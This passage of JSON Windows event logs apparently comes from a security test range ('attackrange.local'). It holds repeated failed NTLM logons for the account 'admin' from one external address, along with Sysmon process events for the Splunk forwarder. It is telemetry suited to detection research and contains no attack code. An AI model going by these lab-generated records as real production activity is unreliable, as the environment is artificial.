11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221491,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60042\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60042","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76809,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The SplunkForwarder service entered the running state.","param1":"SplunkForwarder","param2":"running","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221492,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60129\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60129","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221493,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60288\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60288","EventReceivedTime":"2020-08-07 11:50:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221494,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60381\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60381","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.740\r\nProcessGuid: {90617006-3FEA-5F2D-0000-001036660300}\r\nProcessId: 2292\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nFileVersion: 8.0.2\r\nDescription: Remote Performance monitor using WMI\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-wmi.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.740","ProcessGuid":"{90617006-3FEA-5F2D-0000-001036660300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","FileVersion":"8.0.2","Description":"Remote Performance monitor using WMI","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-wmi.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 